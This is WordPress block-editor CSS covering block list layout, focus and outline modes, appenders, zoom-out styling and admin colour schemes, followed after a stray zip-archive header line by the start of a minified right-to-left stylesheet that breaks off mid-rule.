  position:relative;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{
  pointer-events:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.has-child-selected,.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.is-selected{
  z-index:20;
}
.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{
  z-index:1;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{
  margin:-10px 0 12px;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{
  margin:0 0 12px;
  width:100%;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{
  font-size:13px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning{
  min-height:48px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{
  pointer-events:none;
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{
  pointer-events:all;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{
  background-color:#fff6;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{
  background-color:initial;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{
  float:none;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{
  cursor:default;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered.rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{
  cursor:auto;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:not(.is-selected):after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline):not(.rich-text):not([contenteditable=true]).is-selected:after{
  bottom:0;
  content:"";
  left:0;
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  outline-style:solid;
  outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{
  outline-color:var(--wp-block-synced-color);
}

@keyframes block-editor-is-editable__animation{
  0%{
    background-color:rgba(var(--wp-admin-theme-color--rgb), .1);
  }
  to{
    background-color:rgba(var(--wp-admin-theme-color--rgb), 0);
  }
}
@keyframes block-editor-is-editable__animation_reduce-motion{
  0%{
    background-color:rgba(var(--wp-admin-theme-color--rgb), .1);
  }
  99%{
    background-color:rgba(var(--wp-admin-theme-color--rgb), .1);
  }
  to{
    background-color:rgba(var(--wp-admin-theme-color--rgb), 0);
  }
}
.is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{
  animation-delay:.1s;
  animation-duration:.8s;
  animation-fill-mode:backwards;
  animation-name:block-editor-is-editable__animation;
  animation-timing-function:ease-out;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
@media (prefers-reduced-motion:reduce){
  .is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{
    animation-delay:0s;
    animation-name:block-editor-is-editable__animation_reduce-motion;
  }
}

.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
  opacity:.2;
}
@media not (prefers-reduced-motion){
  .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
    transition:opacity .1s linear;
  }
}

.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{
  opacity:1;
}

.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{
  z-index:21;
}

.wp-site-blocks>[data-align=left]{
  float:left;
  margin-right:2em;
}

.wp-site-blocks>[data-align=right]{
  float:right;
  margin-left:2em;
}

.wp-site-blocks>[data-align=center]{
  justify-content:center;
  margin-left:auto;
  margin-right:auto;
}
.block-editor-block-list .block-editor-inserter{
  cursor:move;
  cursor:grab;
  margin:8px;
}

@keyframes block-editor-inserter__toggle__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@media not (prefers-reduced-motion){
  .wp-block .block-list-appender .block-editor-inserter__toggle{
    animation:block-editor-inserter__toggle__fade-in-animation .1s ease;
    animation-fill-mode:forwards;
  }
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{
  display:none;
}
.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block .block-editor-block-list__block-html-textarea{
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  line-height:1.5;
  margin:0;
  outline:none;
  overflow:hidden;
  padding:12px;
  resize:none;
  width:100%;
}
@media not (prefers-reduced-motion){
  .block-editor-block-list__block .block-editor-block-list__block-html-textarea{
    transition:padding .2s linear;
  }
}
.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-block-list__block .block-editor-warning{
  position:relative;
  z-index:5;
}
.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{
  margin-bottom:auto;
}

.block-editor-block-list__zoom-out-separator{
  align-items:center;
  background:#ddd;
  color:#000;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:400;
  justify-content:center;
  margin-left:-1px;
  margin-right:-1px;
  overflow:hidden;
}
@media not (prefers-reduced-motion){
  .block-editor-block-list__zoom-out-separator{
    transition:background-color .3s ease;
  }
}
.is-zoomed-out .block-editor-block-list__zoom-out-separator{
  font-size:calc(13px/var(--wp-block-editor-iframe-zoom-out-scale));
}
.block-editor-block-list__zoom-out-separator.is-dragged-over{
  background:#ccc;
}

.block-editor-block-list__layout.is-root-container.has-global-padding>.block-editor-block-list__zoom-out-separator,.has-global-padding>.block-editor-block-list__zoom-out-separator{
  margin:0 calc(var(--wp--style--root--padding-right)*-1 - 1px) 0 calc(var(--wp--style--root--padding-left)*-1 - 1px) !important;
  max-width:none;
}

.is-dragging{
  cursor:grabbing;
}

.is-vertical .block-list-appender{
  margin-left:12px;
  margin-right:auto;
  margin-top:12px;
  width:24px;
}

.block-list-appender>.block-editor-inserter{
  display:block;
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block.has-block-overlay{
  cursor:default;
}
.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{
  pointer-events:none;
}
.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block.has-block-overlay:before{
  left:0;
  right:0;
  width:auto;
}

.block-editor-block-list__layout .is-dragging{
  border-radius:2px !important;
  opacity:.1 !important;
}
.block-editor-block-list__layout .is-dragging iframe{
  pointer-events:none;
}
.block-editor-block-list__layout .is-dragging::selection{
  background:#0000 !important;
}
.block-editor-block-list__layout .is-dragging:after{
  content:none !important;
}

.wp-block img:not([draggable]),.wp-block svg:not([draggable]){
  pointer-events:none;
}

.block-editor-block-preview__content-iframe .block-list-appender{
  display:none;
}

.block-editor-block-preview__live-content *{
  pointer-events:none;
}
.block-editor-block-preview__live-content .block-list-appender{
  display:none;
}
.block-editor-block-preview__live-content .components-button:disabled{
  opacity:1;
}
.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{
  display:none;
}

.block-editor-block-variation-picker__skip,.block-editor-block-variation-picker__variations,.wp-block-group-placeholder__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  font-size:12px;
  gap:8px;
  justify-content:flex-start;
  list-style:none;
  margin:0;
  padding:0;
  width:100%;
}
.block-editor-block-variation-picker__skip svg,.block-editor-block-variation-picker__variations svg,.wp-block-group-placeholder__variations svg{
  fill:#949494 !important;
}
.block-editor-block-variation-picker__skip .components-button,.block-editor-block-variation-picker__variations .components-button,.wp-block-group-placeholder__variations .components-button{
  padding:4px;
}
.block-editor-block-variation-picker__skip .components-button:hover,.block-editor-block-variation-picker__variations .components-button:hover,.wp-block-group-placeholder__variations .components-button:hover{
  background:none !important;
}
.block-editor-block-variation-picker__skip .components-button:hover svg,.block-editor-block-variation-picker__variations .components-button:hover svg,.wp-block-group-placeholder__variations .components-button:hover svg{
  fill:var(--wp-admin-theme-color) !important;
}
.block-editor-block-variation-picker__skip>li,.block-editor-block-variation-picker__variations>li,.wp-block-group-placeholder__variations>li{
  align-items:center;
  display:flex;
  flex-direction:column;
  gap:4px;
  width:auto;
}

.block-editor-button-block-appender{
  align-items:center;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:flex;
  flex-direction:column;
  height:auto;
  justify-content:center;
  width:100%;
}
.is-dark-theme .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
}
.block-editor-button-block-appender:hover{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
  color:var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:focus{
  box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:active{
  color:#000;
}

.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{
  pointer-events:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{
  border:1px dashed;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{
  opacity:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within{
  opacity:1;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{
  border:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{
  visibility:visible;
}
.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:none;
}
.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
  background-color:var(--wp-admin-theme-color);
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
}
@media not (prefers-reduced-motion){
  .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
    transition:background-color .2s ease-in-out;
  }
}
.block-editor-default-block-appender{
  clear:both;
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{
  outline:1px solid #0000;
}
.block-editor-default-block-appender .block-editor-default-block-appender__content{
  margin-block-end:0;
  margin-block-start:0;
  opacity:.62;
}
.block-editor-default-block-appender .components-drop-zone__content-icon{
  display:none;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-default-block-appender .block-editor-inserter{
  line-height:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-default-block-appender .block-editor-inserter:disabled{
  display:none;
}
.block-editor-block-list__block .block-list-appender{
  bottom:0;
  list-style:none;
  padding:0;
  position:absolute;
  right:0;
  z-index:2;
}
.block-editor-block-list__block .block-list-appender.block-list-appender{
  line-height:0;
  margin:0;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter:disabled{
  display:none;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{
  height:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{
  background:#1e1e1e;
  box-shadow:none;
  color:#fff;
  display:none;
  flex-direction:row;
  height:24px;
  min-width:24px;
  padding:0 !important;
  width:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{
  display:none;
}
.block-editor-block-list__block .block-list-appender:only-child{
  align-self:center;
  line-height:inherit;
  list-style:none;
  position:relative;
  right:auto;
}
.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{
  display:block;
}

.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{
  display:flex;
}

.block-editor-default-block-appender__content{
  cursor:text;
}

.block-editor-iframe__body{
  position:relative;
}

.block-editor-iframe__html{
  transform-origin:top center;
}
@media not (prefers-reduced-motion){
  .block-editor-iframe__html{
    transition:background-color .4s;
  }
}
.block-editor-iframe__html.zoom-out-animation{
  bottom:0;
  left:0;
  overflow-y:var(--wp-block-editor-iframe-zoom-out-overflow-behavior, scroll);
  position:fixed;
  right:0;
  top:calc(var(--wp-block-editor-iframe-zoom-out-scroll-top, 0)*-1);
}
.block-editor-iframe__html.is-zoomed-out{
  background-color:#ddd;
  margin-bottom:calc(var(--wp-block-editor-iframe-zoom-out-content-height)*(1 - var(--wp-block-editor-iframe-zoom-out-scale, 1))*-1 + var(--wp-block-editor-iframe-zoom-out-frame-size, 0)*2/var(--wp-block-editor-iframe-zoom-out-scale, 1)*-1 + -2px);
  padding-bottom:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));
  padding-top:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));
  scale:var(--wp-block-editor-iframe-zoom-out-scale, 1);
  transform:translateX(calc((var(--wp-block-editor-iframe-zoom-out-scale-container-width) - var(--wp-block-editor-iframe-zoom-out-container-width, 100vw))/2/var(--wp-block-editor-iframe-zoom-out-scale, 1)));
}
.block-editor-iframe__html.is-zoomed-out body{
  min-height:calc((var(--wp-block-editor-iframe-zoom-out-inner-height) - 2*var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1))/var(--wp-block-editor-iframe-zoom-out-scale, 1));
}
.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content){
  display:flex;
  flex:1;
  flex-direction:column;
  height:100%;
}
.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content)>main{
  flex:1;
}
.block-editor-iframe__html.is-zoomed-out .wp-block[draggable]{
  cursor:grab;
}

.block-editor-media-placeholder__cancel-button.is-link{
  display:block;
  margin:1em;
}

.block-editor-media-placeholder.is-appender{
  min-height:0;
}
.block-editor-media-placeholder.is-appender:hover{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
  cursor:pointer;
}

.block-editor-plain-text{
  border:none;
  box-shadow:none;
  color:inherit;
  font-family:inherit;
  font-size:inherit;
  line-height:inherit;
  margin:0;
  padding:0;
  width:100%;
}

.rich-text [data-rich-text-placeholder]{
  pointer-events:none;
}
.rich-text [data-rich-text-placeholder]:after{
  content:attr(data-rich-text-placeholder);
  opacity:.62;
}
.rich-text:focus{
  outline:none;
}

figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{
  opacity:.8;
}

[data-rich-text-script]{
  display:inline;
}
[data-rich-text-script]:before{
  background:#ff0;
  content:"</>";
}

[data-rich-text-comment],[data-rich-text-format-boundary]{
  border-radius:2px;
}

[data-rich-text-comment]{
  background-color:currentColor;
}
[data-rich-text-comment] span{
  color:currentColor;
  filter:invert(100%);
  padding:0 2px;
}

.block-editor-warning{
  align-items:center;
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:flex;
  flex-wrap:wrap;
  padding:1em;
}
.block-editor-warning,.block-editor-warning .block-editor-warning__message{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.block-editor-warning .block-editor-warning__message{
  color:#1e1e1e;
  font-size:13px;
  line-height:1.4;
  margin:0;
}
.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{
  min-height:auto;
}
.block-editor-warning .block-editor-warning__contents{
  align-items:baseline;
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:12px;
  justify-content:space-between;
  width:100%;
}
.block-editor-warning .block-editor-warning__actions{
  align-items:center;
  display:flex;
  gap:8px;
}

.components-popover.block-editor-warning__dropdown{
  z-index:99998;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[G74_U�U�#dist/block-editor/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-left:8px}.block-editor-autocompleters__block[aria-selected=true] .block-editor-block-icon{color:inherit!important}.block-editor-autocompleters__link{white-space:nowrap}.block-editor-autocompleters__link .block-editor-block-icon{margin-left:8px}.block-editor-global-styles-background-panel__inspector-media-replace-container{border:1px solid #ddd;border-radius:2px;grid-column:1/-1}.block-editor-global-styles-background-panel__inspector-media-replace-container.is-open{background-color:#f0f0f0}.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item{border:0;flex-grow:1}.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{display:block}.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__inspector-preview-inner{height:100%}.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown{display:block}.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown .block-editor-global-styles-background-panel__dropdown-toggle{height:40px}.block-editor-global-styles-background-panel__image-tools-panel-item{border:1px solid #ddd;grid-column:1/-1;position:relative}.block-editor-global-styles-background-panel__image-tools-panel-item .components-drop-zone__content-icon{display:none}.block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{display:block}.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button{color:#1e1e1e;display:block;width:100%}.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:hover{color:var(--wp-admin-theme-color)}.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading{height:100%;padding:10px 0 0;position:absolute;width:100%;z-index:1}.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading svg{margin:0}.block-editor-global-styles-background-panel__dropdown-toggle,.block-editor-global-styles-background-panel__image-preview-content{height:100%;padding-right:12px;width:100%}.block-editor-global-styles-background-panel__dropdown-toggle{background:#0000;border:none;cursor:pointer}.block-editor-global-styles-background-panel__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-global-styles-background-panel__inspector-preview-inner .block-editor-global-styles-background-panel__inspector-image-indicator-wrapper{height:20px;min-width:auto;width:20px}.block-editor-global-styles-background-panel__inspector-image-indicator{background-size:cover;border-radius:50%;display:block;height:20px;position:relative;width:20px}.block-editor-global-styles-background-panel__inspector-image-indicator:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.block-editor-global-styles-background-panel__dropdown-content-wrapper{min-width:260px;overflow-x:hidden}.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker-wrapper{background-color:#f0f0f0;border:1px solid #ddd;border-radius:2px;width:100%}.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker__media--image{max-height:180px}.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker:after{content:none}.modal-open .block-editor-global-styles-background-panel__popover{z-index:159890}.block-editor-global-styles-background-panel__media-replace-popover .components-popover__content{width:226px}.block-editor-global-styles-background-panel__media-replace-popover .components-button{padding:0 8px}.block-editor-global-styles-background-panel__media-replace-popover .components-button .components-menu-items__item-icon.has-icon-right{margin-right:16px}.block-editor-block-alignment-control__menu-group .components-menu-item__info{margin-top:0}iframe[name=editor-canvas]{background-color:#ddd;box-sizing:border-box;display:block;height:100%;width:100%}@media not (prefers-reduced-motion){iframe[name=editor-canvas]{transition:all .4s cubic-bezier(.46,.03,.52,.96)}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-inspector p:not(.components-base-control__help){margin-top:0}.block-editor-block-inspector 